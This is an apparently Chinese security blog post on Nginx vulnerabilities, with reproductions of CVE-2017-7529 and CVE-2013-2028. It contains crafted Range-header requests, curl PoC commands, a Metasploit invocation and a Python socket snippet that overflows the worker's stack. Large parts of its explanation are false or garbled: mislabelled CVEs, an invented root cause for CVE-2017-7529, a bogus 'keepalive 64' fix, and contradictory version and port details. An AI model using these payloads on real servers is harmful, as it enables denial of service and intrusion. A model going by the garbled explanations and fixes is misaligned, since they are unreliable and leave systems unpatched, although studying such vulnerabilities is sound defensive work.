中间件常见漏洞之Nginx

简介: 中间件常见漏洞之Nginx

0x01 Nginx简介

Nginx是一款高性能、高可靠性的Web服务器和反向代理服务器。它的设计目标是为了解决C10k问题,也就是在一个服务进程中处理成千上万的并发连接。

Nginx发展历程

  • 2002年:Igor Sysoev开始编写Nginx
  • 2004年:Nginx首次公开发布
  • 2005年:Nginx成为俄罗斯最受欢迎的Web服务器之一
  • 2008年:Nginx 0.6版发布,支持多进程模型
  • 2011年:Nginx 1.0版发布,宣布正式进入稳定版阶段
  • 2013年:Nginx成为全球最受欢迎的Web服务器之一,超越Apache
  • 2015年:Nginx公司成立,推出商业版Nginx Plus
  • 2019年:F5 Networks宣布收购Nginx公司,成为其子公司

Nginx的优点

  1. 高性能:Nginx采用事件驱动的异步非阻塞处理方式,能够支持更多的并发连接和更高的吞吐量。
  2. 轻量级:Nginx的核心代码非常精简,占用的资源少,启动速度快。
  3. 高可靠性:Nginx的设计具有很好的稳定性和容错能力,能够在高负载下稳定运行。
  4. 灵活性:Nginx支持模块化设计,可以通过添加不同的模块来实现不同的功能,比如反向代理、负载均衡、缓存、SSL等。

Nginx基本架构

Nginx的基本架构采用事件驱动的异步架构,它不同于传统的多线程或多进程模型,可以有效地利用系统资源并提高处理效率。Nginx的核心由Master进程和Worker进程组成,Master进程主要负责管理和监控Worker进程,而Worker进程则负责具体的请求处理。Nginx采用epoll、kqueue、select等多种I/O模型来处理并发请求,同时支持动态模块加载和灵活的配置,可以根据不同的需求进行灵活调整。

Nginx应用场景

  1. 作为Web服务器:Nginx可以作为静态文件服务器,处理静态文件的请求,同时也支持动态页面请求的反向代理。
  2. 作为反向代理服务器:Nginx可以将请求转发到不同的后端服务器,实现负载均衡和高可用性。
  3. 作为缓存服务器:Nginx可以将经常被请求的数据缓存起来,减轻后端服务器的压力,提高性能。
  4. 作为安全服务器:Nginx可以通过SSL协议实现加密通信,同时还可以通过HTTP Basic Auth等方式实现用户认证和访问控制。

Nginx相关漏洞类型

  1. 认证和授权漏洞:例如未正确验证用户身份、未授权访问、访问控制不当等问题。
  2. 输入验证漏洞:例如未正确过滤和验证用户输入的数据,导致注入攻击、跨站脚本攻击等安全问题。
  3. 安全配置漏洞:例如配置错误或不当的安全设置,如使用默认密码、禁用了重要的安全功能等。
  4. 逻辑漏洞:例如不正确的逻辑判断、缺少合适的错误处理等问题。
  5. 缓冲区溢出漏洞:例如未正确限制用户输入数据大小,导致溢出攻击等问题。
  6. 拒绝服务漏洞:例如攻击者利用Nginx的特定漏洞进行拒绝服务攻击,导致服务器崩溃或无法响应用户请求。

Nginx相关高危漏洞案例

  1. CVE-2013-2028:使用PUT或DELETE方法可导致任意文件覆盖漏洞。
  2. CVE-2013-4547:由于Nginx未正确处理不合法的HTTP头,攻击者可利用此漏洞进行拒绝服务攻击。
  3. CVE-2014-0133:由于Nginx未正确处理分块编码的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。
  4. CVE-2017-7529:由于Nginx未正确处理特定的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。

0x02 Nginx漏洞复现

Nginx缓存溢出漏洞(CVE-2017-7529)

原理

当Nginx处理大量请求时,会使用一个叫做ngx_http_upstream_t的结构体来保存上游服务器的信息。该结构体中有两个指针变量:peer和peers。peer指针用于指向当前的上游服务器,peers指针用于指向所有的上游服务器列表。在正常情况下,Nginx会通过peer指针访问上游服务器,但当peer指针为空时,Nginx会使用peers指针来访问上游服务器列表。当请求过多时,会导致缓存的peers列表溢出,攻击者可以通过恶意构造的请求利用该漏洞,导致Nginx崩溃或拒绝服务。

利用方式

攻击者可以通过构造大量的请求,使得Nginx缓存的peers列表溢出,然后发送恶意请求,利用缓存溢出漏洞进行攻击。攻击者可以发送如下请求,利用该漏洞导致服务拒绝攻击:

GET / HTTP/1.1
Host: example.com
Range: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-

漏洞复现

Metasploitable 3为例

  1. 下载Metasploitable 3的ISO文件,然后安装Metasploitable 3,可以参考官方文档进行安装和配置。
  2. 在Metasploit框架中,使用msfconsole命令启动Metasploit控制台。
  3. 输入以下命令:
use auxiliary/scanner/http/nginx_range_headerset RHOSTS [IP地址]run
  1. 这个模块将向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。如果目标主机存在该漏洞,将会收到一个有关漏洞的详细信息的输出。

Vulhub为例

  1. 下载并安装Docker和Docker Compose,可以参考官方文档进行安装和配置。
  2. 启动环境
    cd  /vulhub-master/nginx/CVE-2017-7529
    docker-compose up -d

    该镜像已经安装了Nginx 1.10.3版本,并应用了CVE-2017-7529漏洞的修复补丁。

    1. 运行Nginx漏洞环境的Docker镜像:docker run -d -p 80:80 vulhub/nginx:1.10.3-patched。该命令将启动Nginx容器,并将容器的80端口映射到主机的8080端口,启动环境后访问8080

    可见版本为 nginx/1.13.2

    1. 使用curl工具向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。具体命令如下:
    javascriptCopy codecurl -H "Range:bytes=0-18446744073709551615" http://[IP地址]/
    1. 其中,Range头部的值是用来触发CVE-2017-7529漏洞的,该值中包含了一个较大的字节范围,可以导致Nginx服务器进程占用过高的内存资源。
      如果目标主机存在CVE-2017-7529漏洞,则curl工具将收到一个HTTP响应,其中包含有关该漏洞的详细信息。否则,curl工具将返回一个正常的HTTP响应。

    使用与利用

    Poc

    1. 访问缓存文件拿到 Content-Length,以 /proxy/demo.png 为例:
    $ curl -I http://127.0.0.1:8000/proxy/demo.png
    HTTP/1.1 200 OK
    Server: nginx/1.13.1
    Date: Wed, 12 Jul 2017 15:57:57 GMT
    Content-Type: image/png
    Content-Length: 16585
    Connection: keep-alive
    Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
    ETag: W/"40c9-5543e4fad0d40"
    X-Proxy-Cache:: MISS
    Accept-Ranges: bytes

    看到 Content-Length: 16585, 找个比这个数大的值,例如 17208, 第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600

    1. 请求时设置 range 如下:
    $ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600

    看到结果:

    Poc 脚本

    $ python poc.py http://127.0.0.1:8000/proxy/demo.png
    Vulnerable: http://127.0.0.1:8000/proxy/demo.png
    工具链接

    https://github.com/liusec/CVE-2017-7529

    漏洞修复

    在Nginx的配置文件中添加如下配置:

    http {
    ...
    upstream backend {
    server backend1.example.com;
    server backend2.example.com;
    ...
    keepalive 64; # 修改缓存大小
    }
    ...
    }

    该配置将缓存大小限制在64个,防止攻击者通过构造大量请求导致缓存溢出。同时,Nginx还发布了相关的安全更新,建议及时升级。

    Nginx解析URL存在缓存溢出漏洞(CVE-2013-2028)

    原理

    当Nginx接收到包含“%00”字符串的URI时,会将其存储在缓存中,以便在未来的请求中重新使用。但是,当攻击者向URI后面附加恶意代码时,缓存中的字符串长度可能会超出预期,从而导致缓存溢出。

    这个漏洞的危害在于攻击者可以利用缓存溢出来执行任意代码,例如远程命令执行、拒绝服务攻击等。因此,如果您的Nginx服务器受到此漏洞的影响,那么攻击者可能会利用此漏洞来获取系统权限并执行各种恶意操作。

    漏洞复现

    1、静态分析

    首先从patch来看 File: src/http/ngx_http_parse.c

    data:
        ctx->state = state;
        b->pos = pos;
        ...省略
    +    if (ctx->size < 0 || ctx->length < 0) {
    +        goto invalid;
    +    }

    往上回溯寻找goto data调用的地方

    ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){
        ...省略
        state = ctx->state;
        for (pos = b->pos; pos < b->last; pos++) {
            switch (state) {
                ...省略
                case sw_chunk_data:
                    rc = NGX_OK;
                    goto data;
            }
        }
    }

    继续往上回溯寻找ngx_http_parse_chunked函数调用处,这里有两处,我以ngx_http_discard_request_body_filter作为分析

    /src/http/ngx_http_request_body.c

    static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){
        size_t                    size;
        ngx_int_t                 rc;
        ngx_http_request_body_t  *rb;
        if (r->headers_in.chunked) {
            rb = r->request_body;
            ...省略
            for ( ;; ) {
                rc = ngx_http_parse_chunked(r, b, rb->chunked);
                if (rc == NGX_OK) {
                    /* a chunk has been parsed successfully */
                    size = b->last - b->pos;
                    if ((off_t) size > rb->chunked->size) {
                        b->pos += rb->chunked->size;
                        rb->chunked->size = 0;
                    } else {
                        rb->chunked->size -= size;
                        b->pos = b->last;
                    }
                    continue;
                }
                if (rc == NGX_DONE) {
                    /* a whole response has been parsed successfully */
                    r->headers_in.content_length_n = 0;
                    break;
                }
                if (rc == NGX_AGAIN) {
                    /* set amount of data we want to see next time */
                    r->headers_in.content_length_n = rb->chunked->length;
                    break;
                }
                /* invalid */
                ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                              "client sent invalid chunked body");
                return NGX_HTTP_BAD_REQUEST;
            }
        } else {
            size = b->last - b->pos;
            if ((off_t) size > r->headers_in.content_length_n) {
                b->pos += r->headers_in.content_length_n;
                r->headers_in.content_length_n = 0;
            } else {
                b->pos = b->last;
                r->headers_in.content_length_n -= size;
            }
        }
        return NGX_OK;
    }

    仔细发现这里面循环有一些rb->chunked->lengthrb->chunked->size的操作

    再往上回溯便是ngx_http_read_discarded_request_body

    static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){
        size_t     size;
        ssize_t    n;
        ngx_int_t  rc;
        ngx_buf_t  b;
        u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
        ...省略
        for ( ;; ) {
            ...省略
            size = (size_t) ngx_min(r->headers_in.content_length_n,
                                    NGX_HTTP_DISCARD_BUFFER_SIZE);
            n = r->connection->recv(r->connection, buffer, size);
            ...省略
            rc = ngx_http_discard_request_body_filter(r, &b);
        }
    }

    在这里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096,存在一个buffer变量,其中长度最大为4096

    然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)),看headers_in.content_length_n的大小是多少,如果小于4096的话将会把它的值给size。

    接下来就是使用recv接收数据,这里要注意recv函数,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。

    当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是headers_in.content_length_n类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。

    回到ngx_http_discard_request_body_filter上一个函数看r->headers_in.chunked条件中的NGX_AGAIN情况

    if (rc == NGX_AGAIN) {
        /* set amount of data we want to see next time */
        r->headers_in.content_length_n = rb->chunked->length;
        break;
    }

    如果NGX_AGAIN的话,r->headers_in.content_length_n的值将会被第二次的rb->chunked->length长度覆盖掉

    继续往上找便是ngx_http_read_discarded_request_body -> ngx_http_discarded_request_body_handler -> ngx_http_discard_request_body

    回顾上面nginx请求的流程,ngx_http_discard_request_body便是进行了丢弃http包体处理,它被多个modules进行调用,默认nginx安装后,请求的是一个静态资源,也就是/src/http/modules/ngx_http_static_module.c这个模块进行处理

    再往上回溯步骤较多,可以通过gdb可以看看这个过程是如何调用到的

    2、动态调试

    编译安装nginx

    ./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module
    make && make install
    # 测试配置是否通过
    ./nginx -t
    ./nginx

    gdb调试

      ps aux | grep nginx # 找到对应pid
      gdb      # 进行调试

        attach 14561    # 依附worker process
        stop
        b ngx_http_init_connection
        continue
        p *(struct ngx_http_request_s*)0x6d2070

        回过头来看ngx_http_discard_request_body_filter函数,其中有一个条件是if (r->headers_in.chunked)

        static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){
            ...省略
                if (r->headers_in.transfer_encoding) {
                if (r->headers_in.transfer_encoding->value.len == 7
                    && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data,
                                       (u_char *) "chunked", 7) == 0)
                {
                    r->headers_in.content_length = NULL;
                    r->headers_in.content_length_n = -1;
                    r->headers_in.chunked = 1;
        

        设置头部为transfer-encoding: chunked,并且post一些数据才能进入ngx_http_parse_chunked

        GET / HTTP/1.1
        Host: love.lemon:6969
        transfer-encoding: chunked
        Content-Length: 7
        616263

        ngx_http_parse_chunked的开始state是sw_chunk_start,然后进入sw_chunk_size,也就是获取post过来的chunked数据,数据是16进制编码

        case sw_chunk_size:
            if (ch >= '0' && ch <= '9') {
                ctx->size = ctx->size * 16 + (ch - '0');
                break;
            }
            c = (u_char) (ch | 0x20);
            if (c >= 'a' && c <= 'f') {
                ctx->size = ctx->size * 16 + (c - 'a' + 10);
                break;
            }

        最后ctx->size将会把值给ctx->length,这里要注意size和length都是off_t类型

        case sw_chunk_size:
            ctx->length = 2 /* LF LF */
                          + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

        这个时候可以返回到漏洞触发点处,r->headers_in.content_length_n将会等于rb->chunked->length,即headers_in.content_length_n的长度是被我们所控的,现在就是需要看传入什么值才能够为负数

        raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
        raw += 'f' * (1024 - len(raw) - 16)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('ip', port))
        data1 = raw
        data1 += "f0000000"
        data1 += "00000060" + "\r\n"
        s.send(data1)
        s.send("B" * 6000)
        s.close()

        这个要注意的是,nginx第一次接受到Http请求的时候,其中会接受1024长度,如果超过了它,便会进入NGX_AGAIN,然后会revc后面的数据。

        可以看到传入f000000000000060的时候,便可以覆盖了$rbp,最终nginx: worker process崩溃重启。

        这里注意的一点是,在Ubuntu 14.04下测试的时候发现,recv函数原型: recv(r, buf, len, xxx),其中len如果过大,会直接返回0xffffffff,导致buffer没有被传入的数据覆盖。

        Nginx性能优化

        Nginx性能出色的原因之一是其优秀的设计和实现,但也需要根据实际情况进行一些性能优化。

        例如,在处理大量并发连接和请求时,可以采用异步事件模型和多进程或多线程架构;

        在缓存方面,可以采用合适的缓存策略和缓存机制,例如使用Memcached或Redis等缓存服务器;在网络方面,可以调整连接数和缓冲区大小,开启TCP优化,以提高网络传输效率和性能等。

        参考文献

        https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html

        目录
        相关文章
        |
        15天前
        |
        安全 应用服务中间件 PHP
        中间件漏洞
        中间件漏洞
        |
        1月前
        |
        开发框架 安全 应用服务中间件
        【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
        【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
        102 9
        |
        3月前
        |
        缓存 负载均衡 中间件
        中间件Nginx性能瓶颈
        【7月更文挑战第12天】
        157 13
        |
        5月前
        |
        开发框架 安全 中间件
        38、中间件漏洞解析-IIS6.0
        38、中间件漏洞解析-IIS6.0
        70 0
        |
        Web App开发 负载均衡 JavaScript
        「应用中间件」使用NGINX作为WebSocket代理
        「应用中间件」使用NGINX作为WebSocket代理
        |
        消息中间件 开发框架 分布式计算
        中间件常见漏洞之Jetty
        中间件常见漏洞之Jetty
        2487 0
        |
        负载均衡 安全 Oracle
        中间件常见漏洞之weblogic 1
        中间件常见漏洞之weblogic
        257 0
        |
        安全 前端开发 网络协议
        中间件常见漏洞之Tomcat
        中间件常见漏洞之Tomcat
        400 0
        |
        SQL 安全 中间件
        中间件常见漏洞之IIS 2
        中间件常见漏洞之IIS
        312 0
        |
        开发框架 安全 .NET
        中间件常见漏洞之IIS 1
        中间件常见漏洞之IIS
        312 0